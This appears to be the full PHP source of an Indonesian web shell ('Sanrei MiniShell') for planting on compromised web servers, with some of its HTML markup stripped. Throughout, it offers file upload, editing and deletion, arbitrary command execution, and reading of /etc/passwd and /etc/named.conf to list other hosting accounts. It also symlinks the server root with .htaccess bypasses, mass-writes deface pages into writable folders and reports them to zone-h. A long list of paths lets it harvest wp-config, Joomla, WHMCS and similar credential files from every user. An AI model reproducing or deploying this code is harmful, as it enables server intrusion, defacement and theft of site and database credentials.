$value){ $_POST[$key] = stripslashes($value); } } echo ' Sanrei MiniShell

<\>SanRei Ayanami<\>

\n"; } } echo 'File Upload :'; if(isset($_GET['filesrc'])){ echo "
Path : '; if(isset($_GET['path'])){ $path = $_GET['path']; }else{ $path = getcwd(); } $path = str_replace('\\','/',$path); $paths = explode('/',$path); foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo '/'; continue; } if($pat == '') continue; echo ''.$pat.'/'; } echo '
'; if(isset($_FILES['file'])){ if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){ echo 'Berhasil!!
'; }else{ echo 'Gagal!!
'; } } if(isset($_GET['dir'])) { $dir = $_GET['dir']; chdir($dir); } else { $dir = getcwd(); } $ip = gethostbyname($_SERVER['HTTP_HOST']); $kernel = php_uname(); $ds = @ini_get("disable_functions"); $show_ds = (!empty($ds)) ? "$ds" : "BERSIH!!"; if(!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } echo "Disable Functions : $show_ds
"; echo "System : ".$kernel."
"; echo "
"; echo "
"; echo "[ Home ] - "; echo "[ Config ] - "; echo "[ Zone-h ] - "; echo "[ Jumping ] - "; echo "[ Symlink ] - "; echo "[ Mass Depes ] - "; echo "[ Command ]"; echo "
"; echo "
"; if($_GET['to'] == 'zoneh') { if($_POST['submit']) { $domain = explode("\r\n", $_POST['url']); $nick = $_POST['nick']; echo "Defacer Onhold: http://www.zone-h.org/archive/notifier=$nick/published=0
"; echo "Defacer Archive: http://www.zone-h.org/archive/notifier=$nick

"; function zoneh($url,$nick) { $ch = curl_init("http://www.zone-h.com/notify/single"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send"); return curl_exec($ch); curl_close($ch); } foreach($domain as $url) { $zoneh = zoneh($url,$nick); if(preg_match("/color=\"green\">OK<\/font><\/li>/i", $zoneh)) { echo "$url -> OK
"; } else { echo "$url -> ERROR
"; } } } else { echo "
Defacer:

Domains:

"; } echo "
"; } elseif($_GET['to'] == 'mass') { function sabun_massal($dir,$namafile,$isi_script) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $lokasi = $dirc.'/'.$namafile; if($dirb === '.') { file_put_contents($lokasi, $isi_script); } elseif($dirb === '..') { file_put_contents($lokasi, $isi_script); } else { if(is_dir($dirc)) { if(is_writable($dirc)) { echo "[DONE] $lokasi
"; file_put_contents($lokasi, $isi_script); $idx = sabun_massal($dirc,$namafile,$isi_script); } } } } } } function sabun_biasa($dir,$namafile,$isi_script) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $lokasi = $dirc.'/'.$namafile; if($dirb === '.') { file_put_contents($lokasi, $isi_script); } elseif($dirb === '..') { file_put_contents($lokasi, $isi_script); } else { if(is_dir($dirc)) { if(is_writable($dirc)) { echo "[DONE] $dirb/$namafile
"; file_put_contents($lokasi, $isi_script); } } } } } } if($_POST['start']) { if($_POST['tipe_sabun'] == 'mahal') { echo "
"; sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']); echo "
"; } elseif($_POST['tipe_sabun'] == 'murah') { echo "
"; sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']); echo "
"; } } else { echo "
"; echo "
Tipe Mass:
BiasaMassal
Folder:

Filename:

Index File:

"; } ##JUMPING } elseif($_GET['a'] == 'jumping') { $i = 0; echo "
"; $etc = fopen("/etc/passwd", "r") or die("Can't read /etc/passwd"); while($passwd = fgets($etc)) { if($passwd == '' || !$etc) { echo "Can't read /etc/passwd"; } else { preg_match_all('/(.*?):x:/', $passwd, $user_jumping); foreach($user_jumping[1] as $user_idx_jump) { $user_jumping_dir = "/home/$user_idx_jump/public_html"; if(is_readable($user_jumping_dir)) { $i++; $jrw = "[R] $user_jumping_dir"; if(is_writable($user_jumping_dir)) { $jrw = "[RW] $user_jumping_dir"; } echo $jrw; if(function_exists('posix_getpwuid')) { $domain_jump = file_get_contents("/etc/named.conf"); if($domain_jump == '') { echo " => ( gagal mengambil nama domain nya )
"; } else { preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump); foreach($domains_jump[1] as $dj) { $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj")); $user_jumping_url = $user_jumping_url['name']; if($user_jumping_url == $user_idx_jump) { echo " => ( $dj )
"; break; } } } } else { echo "
"; } } } } } if($i == 0) { } else { echo "
Total ada ".$i." Kamar di ".gethostbyname($_SERVER['HTTP_HOST']).""; echo "
"; } } elseif($_GET['a'] == 'cmd') { echo "
".$user."@".$ip.": ~ $
"; if($_POST['do_cmd']) { echo "
".exe($_POST['cmd'])."
"; } } elseif($_GET['a'] == 'symlink') { $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $path); $d0mains = @file("/etc/named.conf"); ##httaces if($d0mains){ @mkdir("sanrei_sym",0777); @chdir("sanrei_sym"); @exe("ln -s / root"); $file3 = 'Options Indexes FollowSymLinks DirectoryIndex sanrei.htm AddType text/plain .php AddHandler text/plain .php Satisfy Any'; $fp3 = fopen('.htaccess','w'); $fw3 = fwrite($fp3,$file3);@fclose($fp3); echo "
"; $dcount = 1; foreach($d0mains as $d0main){ if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains); flush(); if(strlen(trim($domains[1][0])) > 2){ $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0])); echo ""; flush(); $dcount++;}}} echo "
S. No. Domains Users Symlink
" . $dcount . " ".$domains[1][0]." ".$user['name']." Symlink
"; }else{ $TEST=@file('/etc/passwd'); if ($TEST){ @mkdir("sanrei_sym",0777); @chdir("sanrei_sym"); exe("ln -s / root"); $file3 = 'Options Indexes FollowSymLinks DirectoryIndex sanrei.htm AddType text/plain .php AddHandler text/plain .php Satisfy Any'; $fp3 = fopen('.htaccess','w'); $fw3 = fwrite($fp3,$file3); @fclose($fp3); echo " "; $dcount = 1; $file = fopen("/etc/passwd", "r") or exit("Unable to open file!"); while(!feof($file)){ $s = fgets($file); $matches = array(); $t = preg_match('/\/(.*?)\:\//s', $s, $matches); $matches = str_replace("home/","",$matches[1]); if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") continue; echo ""; echo ""; $dcount++;}fclose($file); echo "
S. No. Users Symlink
" . $dcount . " " . $matches . "Symlink
";}else{if($os != "Windows"){@mkdir("sanrei_sym",0777);@chdir("sanrei_sym");@exe("ln -s / root");$file3 = ' Options Indexes FollowSymLinks DirectoryIndex sanrei.htm AddType text/plain .php AddHandler text/plain .php Satisfy Any '; $fp3 = fopen('.htaccess','w'); $fw3 = fwrite($fp3,$file3);@fclose($fp3); echo "

server symlinker

"; $temp = "";$val1 = 0;$val2 = 1000; for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1); if ($uid)$temp .= join(':',$uid)."\n";} echo '
';$temp = trim($temp);$file5 = fopen("test.txt","w"); fputs($file5,$temp); fclose($file5);$dcount = 1;$file = fopen("test.txt", "r") or exit("Unable to open file!"); while(!feof($file)){$s = fgets($file);$matches = array(); $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]); if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") continue; echo ""; echo ""; $dcount++;} fclose($file); echo "
ID Users Symlink
" . $dcount . " " . $matches . "Symlink
";unlink("test.txt"); } else echo "
Cannot create Symlink
"; } } } elseif($_GET['a'] == 'configv2') { if(strtolower(substr(PHP_OS, 0, 3)) == "win"){ echo ''; exit; } if($_POST){ if($_POST['config'] == 'symvhosts') { @mkdir("sanrei_symvhosts", 0777); exe("ln -s / sanrei_symvhosts/root"); $htaccess="Options Indexes FollowSymLinks DirectoryIndex sanrei.htm AddType text/plain .php AddHandler text/plain .php Satisfy Any"; @file_put_contents("sanrei_symvhosts/.htaccess",$htaccess); $etc_passwd=$_POST['passwd']; $etc_passwd=explode("\n",$etc_passwd); foreach($etc_passwd as $passwd){ $pawd=explode(":",$passwd); $user =$pawd[5]; $jembod = preg_replace('/\/var\/www\/vhosts\//', '', $user); if (preg_match('/vhosts/i',$user)){ exe("ln -s ".$user."/httpdocs/wp-config.php sanrei_symvhosts/".$jembod."-Wordpress.txt"); exe("ln -s ".$user."/httpdocs/configuration.php sanrei_symvhosts/".$jembod."-Joomla.txt"); exe("ln -s ".$user."/httpdocs/config/koneksi.php sanrei_symvhosts/".$jembod."-Lokomedia.txt"); exe("ln -s ".$user."/httpdocs/forum/config.php sanrei_symvhosts/".$jembod."-phpBB.txt"); exe("ln -s ".$user."/httpdocs/sites/default/settings.php sanrei_symvhosts/".$jembod."-Drupal.txt"); exe("ln -s ".$user."/httpdocs/config/settings.inc.php sanrei_symvhosts/".$jembod."-PrestaShop.txt"); exe("ln -s ".$user."/httpdocs/app/etc/local.xml sanrei_symvhosts/".$jembod."-Magento.txt"); exe("ln -s ".$user."/httpdocs/admin/config.php sanrei_symvhosts/".$jembod."-OpenCart.txt"); exe("ln -s ".$user."/httpdocs/application/config/database.php sanrei_symvhosts/".$jembod."-Ellislab.txt"); }}} if($_POST['config'] == 'symlink') { @mkdir("sanrei_symconfig", 0777); @symlink("/","sanrei_symconfig/root"); $htaccess="Options Indexes FollowSymLinks DirectoryIndex sanrei.htm AddType text/plain .php AddHandler text/plain .php Satisfy Any"; @file_put_contents("sanrei_symconfig/.htaccess",$htaccess);} if($_POST['config'] == '404') { @mkdir("sanrei_sym404", 0777); @symlink("/","sanrei_sym404/root"); $htaccess="Options Indexes FollowSymLinks DirectoryIndex sanrei.htm AddType text/plain .php AddHandler text/plain .php Satisfy Any IndexOptions +Charset=UTF-8 +FancyIndexing +IgnoreCase +FoldersFirst +XHTML +HTMLTable +SuppressRules +SuppressDescription +NameWidth=* IndexIgnore *.txt404 RewriteEngine On RewriteCond %{REQUEST_FILENAME} ^.*sanrei_sym404 [NC] RewriteRule \.txt$ %{REQUEST_URI}404 [L,R=302.NC]"; @file_put_contents("sanrei_sym404/.htaccess",$htaccess); } if($_POST['config'] == 'grab') { mkdir("sanrei_configgrab", 0777); $isi_htc = "Options all\nRequire None\nSatisfy Any"; $htc = fopen("sanrei_configgrab/.htaccess","w"); fwrite($htc, $isi_htc); } $passwd = $_POST['passwd']; preg_match_all('/(.*?):x:/', $passwd, $user_config); foreach($user_config[1] as $user_sanrei) { $grab_config = array( "/home/$user_sanrei/.accesshash" => "WHM-accesshash", "/home/$user_sanrei/public_html/config/koneksi.php" => "Lokomedia", "/home/$user_sanrei/public_html/forum/config.php" => "phpBB", "/home/$user_sanrei/public_html/sites/default/settings.php" => "Drupal", "/home/$user_sanrei/public_html/config/settings.inc.php" => "PrestaShop", "/home/$user_sanrei/public_html/app/etc/local.xml" => "Magento", "/home/$user_sanrei/public_html/admin/config.php" => "OpenCart", "/home/$user_sanrei/public_html/application/config/database.php" => "Ellislab", "/home/$user_sanrei/public_html/vb/includes/config.php" => "Vbulletin", "/home/$user_sanrei/public_html/includes/config.php" => "Vbulletin", "/home/$user_sanrei/public_html/forum/includes/config.php" => "Vbulletin", "/home/$user_sanrei/public_html/forums/includes/config.php" => "Vbulletin", "/home/$user_sanrei/public_html/cc/includes/config.php" => "Vbulletin", "/home/$user_sanrei/public_html/inc/config.php" => "MyBB", "/home/$user_sanrei/public_html/includes/configure.php" => "OsCommerce", "/home/$user_sanrei/public_html/shop/includes/configure.php" => "OsCommerce", "/home/$user_sanrei/public_html/os/includes/configure.php" => "OsCommerce", "/home/$user_sanrei/public_html/oscom/includes/configure.php" => "OsCommerce", "/home/$user_sanrei/public_html/products/includes/configure.php" => "OsCommerce", "/home/$user_sanrei/public_html/cart/includes/configure.php" => "OsCommerce", "/home/$user_sanrei/public_html/inc/conf_global.php" => "IPB", "/home/$user_sanrei/public_html/wp-config.php" => "Wordpress", "/home/$user_sanrei/public_html/wp/test/wp-config.php" => "Wordpress", "/home/$user_sanrei/public_html/blog/wp-config.php" => "Wordpress", "/home/$user_sanrei/public_html/beta/wp-config.php" => "Wordpress", "/home/$user_sanrei/public_html/portal/wp-config.php" => "Wordpress", "/home/$user_sanrei/public_html/site/wp-config.php" => "Wordpress", "/home/$user_sanrei/public_html/wp/wp-config.php" => "Wordpress", "/home/$user_sanrei/public_html/WP/wp-config.php" => "Wordpress", "/home/$user_sanrei/public_html/news/wp-config.php" => "Wordpress", "/home/$user_sanrei/public_html/wordpress/wp-config.php" => "Wordpress", "/home/$user_sanrei/public_html/test/wp-config.php" => "Wordpress", "/home/$user_sanrei/public_html/demo/wp-config.php" => "Wordpress", "/home/$user_sanrei/public_html/home/wp-config.php" => "Wordpress", "/home/$user_sanrei/public_html/v1/wp-config.php" => "Wordpress", "/home/$user_sanrei/public_html/v2/wp-config.php" => "Wordpress", "/home/$user_sanrei/public_html/press/wp-config.php" => "Wordpress", "/home/$user_sanrei/public_html/new/wp-config.php" => "Wordpress", "/home/$user_sanrei/public_html/blogs/wp-config.php" => "Wordpress", "/home/$user_sanrei/public_html/configuration.php" => "Joomla", "/home/$user_sanrei/public_html/blog/configuration.php" => "Joomla", "/home/$user_sanrei/public_html/submitticket.php" => "^WHMCS", "/home/$user_sanrei/public_html/cms/configuration.php" => "Joomla", "/home/$user_sanrei/public_html/beta/configuration.php" => "Joomla", "/home/$user_sanrei/public_html/portal/configuration.php" => "Joomla", "/home/$user_sanrei/public_html/site/configuration.php" => "Joomla", "/home/$user_sanrei/public_html/main/configuration.php" => "Joomla", "/home/$user_sanrei/public_html/home/configuration.php" => "Joomla", "/home/$user_sanrei/public_html/demo/configuration.php" => "Joomla", "/home/$user_sanrei/public_html/test/configuration.php" => "Joomla", "/home/$user_sanrei/public_html/v1/configuration.php" => "Joomla", "/home/$user_sanrei/public_html/v2/configuration.php" => "Joomla", "/home/$user_sanrei/public_html/joomla/configuration.php" => "Joomla", "/home/$user_sanrei/public_html/new/configuration.php" => "Joomla", "/home/$user_sanrei/public_html/WHMCS/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/whmcs1/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/Whmcs/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/whmcs/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/whmcs/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/WHMC/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/Whmc/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/whmc/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/WHM/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/Whm/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/whm/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/HOST/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/Host/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/host/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/SUPPORTES/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/Supportes/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/supportes/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/domains/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/domain/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/Hosting/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/HOSTING/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/hosting/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/CART/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/Cart/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/cart/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/ORDER/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/Order/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/order/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/CLIENT/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/Client/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/client/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/CLIENTAREA/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/Clientarea/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/clientarea/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/SUPPORT/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/Support/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/support/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/BILLING/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/Billing/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/billing/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/BUY/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/Buy/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/buy/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/MANAGE/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/Manage/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/manage/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/ClientSupport/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/Clientsupport/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/clientsupport/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/CHECKOUT/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/Checkout/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/checkout/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/BILLINGS/submitticket.php" => "WHMCS", "/home/$user_sanrei/public_html/Billings/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/billings/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/BASKET/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/Basket/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/basket/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/SECURE/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/Secure/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/secure/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/SALES/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/Sales/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/sales/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/BILL/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/Bill/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/bill/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/PURCHASE/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/Purchase/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/purchase/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/ACCOUNT/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/Account/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/account/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/USER/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/User/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/user/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/CLIENTS/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/Clients/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/clients/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/BILLINGS/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/Billings/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/billings/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/MY/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/My/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/my/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/secure/whm/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/secure/whmcs/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/panel/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/clientes/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/cliente/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/support/order/submitticket.php" => "WHMCS", "/home/$user_con7ext/public_html/bb-config.php" => "BoxBilling", "/home/$user_con7ext/public_html/boxbilling/bb-config.php" => "BoxBilling", "/home/$user_con7ext/public_html/box/bb-config.php" => "BoxBilling", "/home/$user_con7ext/public_html/host/bb-config.php" => "BoxBilling", "/home/$user_con7ext/public_html/Host/bb-config.php" => "BoxBilling", "/home/$user_con7ext/public_html/supportes/bb-config.php" => "BoxBilling", "/home/$user_con7ext/public_html/support/bb-config.php" => "BoxBilling", "/home/$user_con7ext/public_html/hosting/bb-config.php" => "BoxBilling", "/home/$user_con7ext/public_html/cart/bb-config.php" => "BoxBilling", "/home/$user_con7ext/public_html/order/bb-config.php" => "BoxBilling", "/home/$user_con7ext/public_html/client/bb-config.php" => "BoxBilling", "/home/$user_con7ext/public_html/clients/bb-config.php" => "BoxBilling", "/home/$user_con7ext/public_html/cliente/bb-config.php" => "BoxBilling", "/home/$user_con7ext/public_html/clientes/bb-config.php" => "BoxBilling", "/home/$user_con7ext/public_html/billing/bb-config.php" => "BoxBilling", "/home/$user_con7ext/public_html/billings/bb-config.php" => "BoxBilling", "/home/$user_con7ext/public_html/my/bb-config.php" => "BoxBilling", "/home/$user_con7ext/public_html/secure/bb-config.php" => "BoxBilling", "/home/$user_con7ext/public_html/support/order/bb-config.php" => "BoxBilling", "/home/$user_con7ext/public_html/includes/dist-configure.php" => "Zencart", "/home/$user_con7ext/public_html/zencart/includes/dist-configure.php" => "Zencart", "/home/$user_con7ext/public_html/products/includes/dist-configure.php" => "Zencart", "/home/$user_con7ext/public_html/cart/includes/dist-configure.php" => "Zencart", "/home/$user_con7ext/public_html/shop/includes/dist-configure.php" => "Zencart", "/home/$user_con7ext/public_html/includes/iso4217.php" => "Hostbills", "/home/$user_con7ext/public_html/hostbills/includes/iso4217.php" => "Hostbills", "/home/$user_con7ext/public_html/host/includes/iso4217.php" => "Hostbills", "/home/$user_con7ext/public_html/Host/includes/iso4217.php" => "Hostbills", "/home/$user_con7ext/public_html/supportes/includes/iso4217.php" => "Hostbills", "/home/$user_con7ext/public_html/support/includes/iso4217.php" => "Hostbills", "/home/$user_con7ext/public_html/hosting/includes/iso4217.php" => "Hostbills", "/home/$user_con7ext/public_html/cart/includes/iso4217.php" => "Hostbills", "/home/$user_con7ext/public_html/order/includes/iso4217.php" => "Hostbills", "/home/$user_con7ext/public_html/client/includes/iso4217.php" => "Hostbills", "/home/$user_con7ext/public_html/clients/includes/iso4217.php" => "Hostbills", "/home/$user_con7ext/public_html/cliente/includes/iso4217.php" => "Hostbills", "/home/$user_con7ext/public_html/clientes/includes/iso4217.php" => "Hostbills", "/home/$user_con7ext/public_html/billing/includes/iso4217.php" => "Hostbills", "/home/$user_con7ext/public_html/billings/includes/iso4217.php" => "Hostbills", "/home/$user_con7ext/public_html/my/includes/iso4217.php" => "Hostbills", "/home/$user_con7ext/public_html/secure/includes/iso4217.php" => "Hostbills", "/home/$user_con7ext/public_html/support/order/includes/iso4217.php" => "Hostbills" ); foreach($grab_config as $config => $nama_config) { if($_POST['config'] == 'grab') { $ambil_config = file_get_contents($config); if($ambil_config == '') { } else { $file_config = fopen("sanrei_configgrab/$user_sanrei-$nama_config.txt","w"); fputs($file_config,$ambil_config); } } if($_POST['config'] == 'symlink') { @symlink($config,"sanrei_Symconfig/".$user_sanrei."-".$nama_config.".txt"); } if($_POST['config'] == '404') { $sym404=symlink($config,"sanrei_sym404/".$user_sanrei."-".$nama_config.".txt"); if($sym404){ @mkdir("sanrei_sym404/".$user_sanrei."-".$nama_config.".txt404", 0777); $htaccess="Options Indexes FollowSymLinks DirectoryIndex sanrei.htm HeaderName sanrei.txt Satisfy Any IndexOptions IgnoreCase FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* SuppressHTMLPreamble IndexIgnore *"; @file_put_contents("sanrei_sym404/".$user_sanrei."-".$nama_config.".txt404/.htaccess",$htaccess); @symlink($config,"sanrei_sym404/".$user_sanrei."-".$nama_config.".txt404/sanrei.txt"); } } } } if($_POST['config'] == 'grab') { echo "
Done
"; } if($_POST['config'] == '404') { echo "
SymlinkNya
Configurations
"; } if($_POST['config'] == 'symlink') { echo "
Symlinknya
Configurations
"; }if($_POST['config'] == 'symvhost') { echo "
Root Server
Configurations
"; } }else{ echo "



Current File : "; echo $_GET['filesrc']; echo '

'; echo('
'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'
'); }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ echo '
'.$_POST['path'].'

'; if($_POST['opt'] == 'chmod'){ if(isset($_POST['perm'])){ if(chmod($_POST['path'],$_POST['perm'])){ echo 'Change Permission Berhasil
'; }else{ echo 'Change Permission Gagal
'; } } echo '
Permission :
'; }elseif($_POST['opt'] == 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ echo 'Ganti Nama Berhasil
'; }else{ echo 'Ganti Nama Gagal
'; } $_POST['name'] = $_POST['newname']; } echo '
Nama Baru :
'; }elseif($_POST['opt'] == 'edit'){ if(isset($_POST['src'])){ $fp = fopen($_POST['path'],'w'); if(fwrite($fp,$_POST['src'])){ echo 'Berhasil Edit File
'; }else{ echo 'Gagal Edit File
'; } fclose($fp); } echo '

'; } echo '
'; }else{ echo '
'; if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ if($_POST['type'] == 'dir'){ if(rmdir($_POST['path'])){ echo 'Directory Terhapus
'; }else{ echo 'Directory Gagal Terhapus
'; } }elseif($_POST['type'] == 'file'){ if(unlink($_POST['path'])){ echo 'File Terhapus
'; }else{ echo 'File Gagal Dihapus
'; } } } echo '
'; $scandir = scandir($path); echo '
'; foreach($scandir as $dir){ if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue; echo ''; } echo ''; foreach($scandir as $file){ if(!is_file($path.'/'.$file)) continue; $size = filesize($path.'/'.$file)/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; }else{ $size = $size.' KB'; } echo ''; } echo '
Name
Size
Permission
Modify
'.$dir.'
--
'; if(is_writable($path.'/'.$dir)) echo ''; elseif(!is_readable($path.'/'.$dir)) echo ''; echo perms($path.'/'.$dir); if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo ''; echo '
'.$file.'
'.$size.'
'; if(is_writable($path.'/'.$file)) echo ''; elseif(!is_readable($path.'/'.$file)) echo ''; echo perms($path.'/'.$file); if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo ''; echo '
'; } echo '

Coded With 💗 by SanRei
'; function perms($file){ $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?>